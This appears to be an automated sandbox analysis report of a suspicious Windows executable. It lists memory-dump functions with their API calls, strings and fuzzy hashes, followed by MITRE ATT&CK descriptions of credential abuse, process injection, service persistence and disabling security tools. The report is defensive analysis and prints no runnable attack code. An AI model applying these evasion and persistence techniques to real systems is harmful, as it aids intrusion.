WriteFile.KERNEL32(?,00000000,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004568C2
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00456902
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 004569AE

Memory Dump Source

Source File: 0000001E.00000002.983122508.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: 7f0d55b9359026f402d2209b805b37988a3627087d3947fb05e8a6854c4c42bd
Instruction ID: 1c9c2276df55d3886d7d2513bb5e5d9cbe12e7e9eb6b7bddf9f4856738b3a87f
Opcode Fuzzy Hash: 7f0d55b9359026f402d2209b805b37988a3627087d3947fb05e8a6854c4c42bd
Instruction Fuzzy Hash: EFD1BAB5D002589FCF15CFA8C8809EDBBB5BF48305F29016EE855FB352D634A94ACB58

Uniqueness

Uniqueness Score: -1.00%

Function 0045287B, Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 375COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00452961
__freea.LIBCMT ref: 00452A01
__freea.LIBCMT ref: 00452A1D

Strings

am/pm, xrefs: 00452A81
a/p, xrefs: 00452AE5

Memory Dump Source

Source File: 0000001E.00000002.983122508.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: __freea$__alloca_probe_16
String ID: a/p$am/pm
API String ID: 3509577899-3206640213
Opcode ID: 55c44f596709ea0e80e47327495fc848e80c9ba066590d7a3009c454b3b84e2d
Instruction ID: 84ff8c8f9df91ff521f241915c616749b6a22e91f0ec38822e672e834ae8510f
Opcode Fuzzy Hash: 55c44f596709ea0e80e47327495fc848e80c9ba066590d7a3009c454b3b84e2d
Instruction Fuzzy Hash: 72C1A1719002169ACB258F68C689ABF7770FF07702F28415BEC01AB357D3B99D4ACB59

Uniqueness

Uniqueness Score: -1.00%

Function 0044260A, Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00442601,00442016,0043FDB5), ref: 00442618
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00442626
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0044263F
SetLastError.KERNEL32(00000000,00442601,00442016,0043FDB5), ref: 00442691

Memory Dump Source

Source File: 0000001E.00000002.983122508.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 18fe716cef8726263608c5f09bfe508ff62f302f128da8e7299fe9e8289e34e3
Instruction ID: ad52c21b7f41d60464ee19c328da3714ffcc3c1c81a635c4f142785e3f4873b3
Opcode Fuzzy Hash: 18fe716cef8726263608c5f09bfe508ff62f302f128da8e7299fe9e8289e34e3
Instruction Fuzzy Hash: 53012B7210E7126EB7246BB97D8662B2B94EB02BB9732033FF510552F1EFDA4C02524D

Uniqueness

Uniqueness Score: -1.00%

Function 00446055, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004460F0
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004461EB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00446200

Strings

*`D, xrefs: 004460C1, 004461BC
*`D, xrefs: 004461F6

Memory Dump Source

Source File: 0000001E.00000002.983122508.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: *`D$*`D
API String ID: 885266447-1574984974
Opcode ID: 05f175f2299d8f2c7b925a8b7cff33aba843e7a23b289ed7ce11cf5511a91975
Instruction ID: e1349bb4c03cc279c1e820a300bd96a9478d2337c926805aaae86febdf4bfb57
Opcode Fuzzy Hash: 05f175f2299d8f2c7b925a8b7cff33aba843e7a23b289ed7ce11cf5511a91975
Instruction Fuzzy Hash: 1B51F671A00209AFEF14CF58CC91AAFBBB2EF4A310F15805AE915A7352D739DD41CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0045E386, Relevance: 7.9, APIs: 5, Instructions: 373timeCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0045E408
_free.LIBCMT ref: 0045E42C
_free.LIBCMT ref: 0045E5B9
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,004711C0), ref: 0045E5CB
_free.LIBCMT ref: 0045E785

Memory Dump Source

Source File: 0000001E.00000002.983122508.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _free$InformationTimeZone
String ID:
API String ID: 597776487-0
Opcode ID: 22652b7a6fca7434625067433219d69e66279c3611484ec4b6044b40eaf4caa9
Instruction ID: cf1f63bc1eaa4ec7b4e937267f02f2841d9b0dc1a19bf7e21f734679eed480ba
Opcode Fuzzy Hash: 22652b7a6fca7434625067433219d69e66279c3611484ec4b6044b40eaf4caa9
Instruction Fuzzy Hash: 9AC13771900204AFDB299F6A88516AF7BA8EF56355F1400AFEC9497383E7388F09C758

Uniqueness

Uniqueness Score: -1.00%

Function 00460269, Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00460281

Part of subcall function 00457085: HeapFree.KERNEL32(00000000,00000000,?,0046050B,?,00000000,?,00000002,?,004607AE,?,00000007,?,?,00460BAF,?), ref: 0045709B
Part of subcall function 00457085: GetLastError.KERNEL32(?,?,0046050B,?,00000000,?,00000002,?,004607AE,?,00000007,?,?,00460BAF,?,?), ref: 004570AD

_free.LIBCMT ref: 00460293
_free.LIBCMT ref: 004602A5
_free.LIBCMT ref: 004602B7
_free.LIBCMT ref: 004602C9

Memory Dump Source

Source File: 0000001E.00000002.983122508.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: b3e9779b6ffb6c3f0a21c00bd761656ac1a2759e87ceb499e147c71e594d3e85
Instruction ID: 85243f43e22f2b3db1a077e3afa69e8fa36fbd526325bb42f968f78e3e49644c
Opcode Fuzzy Hash: b3e9779b6ffb6c3f0a21c00bd761656ac1a2759e87ceb499e147c71e594d3e85
Instruction Fuzzy Hash: 75F04F72504200AB86A4EB6AF49EC1B73E9AE80B127650D5EF848D7643DB2CFC80875C

Uniqueness

Uniqueness Score: -1.00%

Function 0045A710, Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0045A797

Memory Dump Source

Source File: 0000001E.00000002.983122508.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 201a30e026bf1f83967d2e6a26cbaaa7bb5179f29d21ebc2bb88042a144ada7f
Instruction ID: 304b289752606926c55e247b59e46dcbc0dc374fcc0e0fd518e6907ca895a874
Opcode Fuzzy Hash: 201a30e026bf1f83967d2e6a26cbaaa7bb5179f29d21ebc2bb88042a144ada7f
Instruction Fuzzy Hash: 2AB146719002959FDB11CF28C8417AEBBE5EF55305F25866BEC409B343E63C8D1ACB6A

Uniqueness

Uniqueness Score: -1.00%

Function 00442721, Relevance: 6.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 004427E8
___AdjustPointer.LIBCMT ref: 0044280B
___AdjustPointer.LIBCMT ref: 004428A7

Memory Dump Source

Source File: 0000001E.00000002.983122508.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 7b01fc8cb69f0dde3f5482d7ef294a58b3d6f4819dcb0cae33a7bef1fd9cbb24
Instruction ID: add71409517eb0f32460f32f35eb128f1b29318854abbd3a66dcddce8d991e23
Opcode Fuzzy Hash: 7b01fc8cb69f0dde3f5482d7ef294a58b3d6f4819dcb0cae33a7bef1fd9cbb24
Instruction Fuzzy Hash: A351E371A00602AFFB29AF51CA41B7EB7A4EF04714F54462FF801472A1E7B9EC81C799

Uniqueness

Uniqueness Score: -1.00%

Function 0040C6F6, Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 135memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,00000030,00000006,0040C774,?,?,?,?,?,?,?), ref: 0040C483
HeapFree.KERNEL32(00000000,?,?,?,00000030,00000006,0040C774,?,?,?,?,?,?,?,Qlmjm,?), ref: 0040C48A

Part of subcall function 00412593: _Deallocate.LIBCONCRT ref: 004125A2

Strings

/&70, xrefs: 0040C5A5
BK_, xrefs: 0040C500

Memory Dump Source

Source File: 0000001E.00000002.983122508.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Heap$DeallocateFreeProcess
String ID: /&70$BK_
API String ID: 178602400-3847264202
Opcode ID: dd0393a668a497f738fc72a90b2f50add9da308ff455604f908d235c71238787
Instruction ID: 1cd1b911be2f773edf1943396bdc15380aabfdbe608885916c5adacb010b40b8
Opcode Fuzzy Hash: dd0393a668a497f738fc72a90b2f50add9da308ff455604f908d235c71238787
Instruction Fuzzy Hash: E651D571D00168DADF24DBA4CD95BEEB7B4AF05304F1042AEE159B3191EB741B84CF64

Uniqueness

Uniqueness Score: -1.00%

Function 0045086F, Relevance: 6.1, APIs: 4, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.983122508.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9418842988a6f161f0bef54eaa84076bef06808804b63bd64930c5597d69990e
Instruction ID: b1b961cc1a73fb246cbc463fa90c5cc02b7d414f32c1e6ec063efefb80baf863
Opcode Fuzzy Hash: 9418842988a6f161f0bef54eaa84076bef06808804b63bd64930c5597d69990e
Instruction Fuzzy Hash: 324128B6A00304AFE724AF79CC01B9EBBA9EB44715F10852FF815DB382D779E9448784

Uniqueness

Uniqueness Score: -1.00%

Function 00450523, Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.983122508.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e5c68e81957f3b7ea39266aab928d618287e1ee8eb888abb7dad63dbfe7fa49
Instruction ID: 15432422b21fd1fbdba72128c802a379cafae0224fefa7915c7e408a8c84ae95
Opcode Fuzzy Hash: 8e5c68e81957f3b7ea39266aab928d618287e1ee8eb888abb7dad63dbfe7fa49
Instruction Fuzzy Hash: EA21F27520010DBF9B20EFA28C8096F779CAF003AA710451AFD5497242FB38EC55CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0045626B, Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00451585,00483AF0,00000008,0043E09B,?,00413D61,00000000,7FFFFFFF,?,00000000,00413A66), ref: 00456270
_free.LIBCMT ref: 004562CD
_free.LIBCMT ref: 00456303
SetLastError.KERNEL32(00000000,00000008,000000FF,?,?,?,00451585,00483AF0,00000008,0043E09B,?,00413D61,00000000,7FFFFFFF,?,00000000), ref: 0045630E

Memory Dump Source

Source File: 0000001E.00000002.983122508.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: a5a095c5ff3387f760baee9160187b75a12e83ed9b16ebb9164d39ef78913562
Instruction ID: 7c51a4dc5afe4908b99bbb1900984201c12c7bc849635e8cefa8a96587aeaf51
Opcode Fuzzy Hash: a5a095c5ff3387f760baee9160187b75a12e83ed9b16ebb9164d39ef78913562
Instruction Fuzzy Hash: B211EB712082012BD61136B5BC85D2F26998BC077FB6606BFFD24571E3DA6D9C4E421D

Uniqueness

Uniqueness Score: -1.00%

Function 004380FD, Relevance: 6.1, APIs: 4, Instructions: 71processCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00438132
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,?,?), ref: 004381BD
CloseHandle.KERNEL32(?), ref: 004381C6
CloseHandle.KERNEL32(?), ref: 004381CF

Memory Dump Source

Source File: 0000001E.00000002.983122508.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CloseHandle$CreateFileModuleNameProcess
String ID:
API String ID: 2820832629-0
Opcode ID: 810330d3b76e0d043f75eeaff3566cb6c08f57faf0a55c5548bd68fed0756963
Instruction ID: 93da9dd2ce7d3f88d80043d1a0904c0d9ba37ed035759638e8c820617def2985
Opcode Fuzzy Hash: 810330d3b76e0d043f75eeaff3566cb6c08f57faf0a55c5548bd68fed0756963
Instruction Fuzzy Hash: C521A772D1024CBFEB019BA4DC81EEEB77CFF59308F005166F649A1022F6745A89CB65

Uniqueness

Uniqueness Score: -1.00%

Function 004563C2, Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(0043E6C3,0043E6C3,00000002,0044AA39,00458273,00000000,?,0044058B,00000002,00000000,00401041,gC6oM0tV1p,?,00408EE6,0043E6C3,00000004), ref: 004563C7
_free.LIBCMT ref: 00456424
_free.LIBCMT ref: 0045645A
SetLastError.KERNEL32(00000000,00000008,000000FF,?,0044058B,00000002,00000000,00401041,gC6oM0tV1p,?,00408EE6,0043E6C3,00000004,00000000,00000000,00000000), ref: 00456465

Memory Dump Source

Source File: 0000001E.00000002.983122508.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 01766d4576447fc612d17b215dc4c8c69eb9e6073e62f4dfca77820b8535ef3d
Instruction ID: 758d7e2519c4926df4ab442014f4b4c2804f2f3a764ccfe0feea61b642ed8b05
Opcode Fuzzy Hash: 01766d4576447fc612d17b215dc4c8c69eb9e6073e62f4dfca77820b8535ef3d
Instruction Fuzzy Hash: 5F11C6312042016B9A1136B6AC85D2F25999BC177FB66067EFD24972E3DE6D8C0E422E

Uniqueness

Uniqueness Score: -1.00%

Function 00426371, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 114COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00426376

Strings

A:\_Work\rc-build-v1-exe\json.hpp, xrefs: 004263F5
is_contiguous, xrefs: 004263FA

Memory Dump Source

Source File: 0000001E.00000002.983122508.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: H_prolog
String ID: A:\_Work\rc-build-v1-exe\json.hpp$is_contiguous
API String ID: 3519838083-1910854552
Opcode ID: 2ee1d5ab6685ed6e575cdebb87bee3811dfa92d2f84ee72f9b2fef4b264fd680
Instruction ID: 7ac20fae7e8d2660125ddd747a79e3b5ac5f6b6d4ae6bda76213e9fb0c85ab02
Opcode Fuzzy Hash: 2ee1d5ab6685ed6e575cdebb87bee3811dfa92d2f84ee72f9b2fef4b264fd680
Instruction Fuzzy Hash: 894116B1E052099FCB09CFADD4406AEFBF0AF88304B15C06ED859E7341D7799945CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040A2F0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 96COMMON

Download Yara Rule

APIs

__EH_prolog2.LIBCMT ref: 0040A2F7

Strings

", ", xrefs: 0040A3BE
: ", xrefs: 0040A39F

Memory Dump Source

Source File: 0000001E.00000002.983122508.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: H_prolog2
String ID: ", "$: "
API String ID: 1857396960-747220369
Opcode ID: 197eb49101b4d5fa3b890372c50175bd6f206394539460179cff76a0901f9bba
Instruction ID: 31979c74f1da568ff600ea178f95cf09b7a0c642ba4721751d6c0138ac7f4c0e
Opcode Fuzzy Hash: 197eb49101b4d5fa3b890372c50175bd6f206394539460179cff76a0901f9bba
Instruction Fuzzy Hash: C531A271A01204EFCB14DFA5D956BDEBBB5EF88704F10406FE401A7281EBB86E54CB99

Uniqueness

Uniqueness Score: -1.00%

Function 004444DC, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0044450A
_free.LIBCMT ref: 00444530

Strings

8aH, xrefs: 00444597

Memory Dump Source

Source File: 0000001E.00000002.983122508.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _free
String ID: 8aH
API String ID: 269201875-3520659070
Opcode ID: 36385bcfb31b3a071d96c323d8f17dfb8a583e9b783a7d8b123269343ace4232
Instruction ID: 25e5ea79611ae470749cf1185409be6f755a851b6c95625b8e00f0f5e56a457e
Opcode Fuzzy Hash: 36385bcfb31b3a071d96c323d8f17dfb8a583e9b783a7d8b123269343ace4232
Instruction Fuzzy Hash: 9D11E671A042105BFB249F39AD41B5A3295A784734F180A3FFA11CBAD1D7BCD856874D

Uniqueness

Uniqueness Score: -1.00%

Function 00426077, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0042607C

Strings

m_object != nullptr, xrefs: 0042609F
A:\_Work\rc-build-v1-exe\json.hpp, xrefs: 0042609A

Memory Dump Source

Source File: 0000001E.00000002.983122508.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: H_prolog
String ID: A:\_Work\rc-build-v1-exe\json.hpp$m_object != nullptr
API String ID: 3519838083-1282721270
Opcode ID: 67e8b34b97028578932366b8d1ddec1b3931a4d1435347d6f0aaabf714942476
Instruction ID: 8c2a82c1ed6dcdf643eb7c3c62d3d75814cea0c81c33699370e88f1a43052360
Opcode Fuzzy Hash: 67e8b34b97028578932366b8d1ddec1b3931a4d1435347d6f0aaabf714942476
Instruction Fuzzy Hash: 4411AC716401189BC714EBA9D986E9AB7F4EF14310F60891BE444E3640D778EE40CA98

Uniqueness

Uniqueness Score: -1.00%

Function 004344DB, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004344E0

Part of subcall function 0043439D: lstrlenW.KERNEL32(00000000), ref: 004343FF
Part of subcall function 0043439D: lstrcpyW.KERNEL32 ref: 00434417
Part of subcall function 0043439D: lstrcpyW.KERNEL32 ref: 00434423

_strlen.LIBCMT ref: 004344F4

Part of subcall function 00410D4E: __EH_prolog.LIBCMT ref: 00410D53

Strings

>dhd, xrefs: 00434521

Memory Dump Source

Source File: 0000001E.00000002.983122508.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: H_prologlstrcpy$_strlenlstrlen
String ID: >dhd
API String ID: 27009005-2576709532
Opcode ID: 24a3c94244025d36ab372d6fffc7334f3b775e44f29e2a8ec208eaa9ddc6df41
Instruction ID: 45ba479a4e08e6e0a5935101e2a5643f28150cb6d205ddb17e46fa15992c998d
Opcode Fuzzy Hash: 24a3c94244025d36ab372d6fffc7334f3b775e44f29e2a8ec208eaa9ddc6df41
Instruction Fuzzy Hash: 48110270D011159AEB19FB65DC12FEEB7749F44308F1085AEE006A7242DA386A89CBAC

Uniqueness

Uniqueness Score: -1.00%

Function 00456517, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

Part of subcall function 0045FACE: EnterCriticalSection.KERNEL32(00000000,?,00456E13,00000000,00483CB0,00000010,00444819,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0045FAE9

FlushFileBuffers.KERNEL32(00000000,00483C90,0000000C,0045661E,00444204,00000000,?,?,00444204,00000000,?), ref: 00456560
GetLastError.KERNEL32 ref: 00456571

Strings

A:\_Work\rc-build-v1-exe\json.hpp, xrefs: 00456558

Memory Dump Source

Source File: 0000001E.00000002.983122508.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: BuffersCriticalEnterErrorFileFlushLastSection
String ID: A:\_Work\rc-build-v1-exe\json.hpp
API String ID: 4109680722-4059005155
Opcode ID: b203027ca7a6a32ebed35a89b09b2f16e735ef86110385b69858410fec8af813
Instruction ID: 1a8491d2cafb6747ab8d96391044b9da11b47bedadb7d691feb78367a96a043a
Opcode Fuzzy Hash: b203027ca7a6a32ebed35a89b09b2f16e735ef86110385b69858410fec8af813
Instruction Fuzzy Hash: CF01D272A002049FC710EFA8E90565D7BF0AF49725F14412FF811EB3A2EBB8D905CB49

Uniqueness

Uniqueness Score: -1.00%

Function 004400AA, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 004400B5
___raise_securityfailure.LIBCMT ref: 00440172

Strings

(NE, xrefs: 00440120

Memory Dump Source

Source File: 0000001E.00000002.983122508.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: (NE
API String ID: 3761405300-2706577886
Opcode ID: 4deab6c6b988accb27977adb176ad251c5d8b3d4e9aad351f59a1147540b897d
Instruction ID: 9f1b3af2886b3af01c15ab183e7bb4a506ad04509dde8b0da68913a4dc53852e
Opcode Fuzzy Hash: 4deab6c6b988accb27977adb176ad251c5d8b3d4e9aad351f59a1147540b897d
Instruction Fuzzy Hash: D61190B49113059BF700EF55E841A487BF4FB08740B00987FEA1887364E3F895A2AF6E

Uniqueness

Uniqueness Score: -1.00%

Function 00426202, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00426207

Strings

object != nullptr, xrefs: 0042624B
A:\_Work\rc-build-v1-exe\json.hpp, xrefs: 00426246

Memory Dump Source

Source File: 0000001E.00000002.983122508.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: H_prolog
String ID: A:\_Work\rc-build-v1-exe\json.hpp$object != nullptr
API String ID: 3519838083-2355325030
Opcode ID: 7ee5d87141ef07b29faf09365af8adddb745bfe56d34ded6320d350463b4e554
Instruction ID: 5e434ee0f9c8238350b5274f33752c3ddfacdf13f7a2cc04565f628b46c06ad9
Opcode Fuzzy Hash: 7ee5d87141ef07b29faf09365af8adddb745bfe56d34ded6320d350463b4e554
Instruction Fuzzy Hash: 89F04FB2E402159BC725AF69940268EBFF4EBA8B51F10452FE509E7240E7B88A1487D9

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	AWS CloudTrail logs, Authentication logs, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

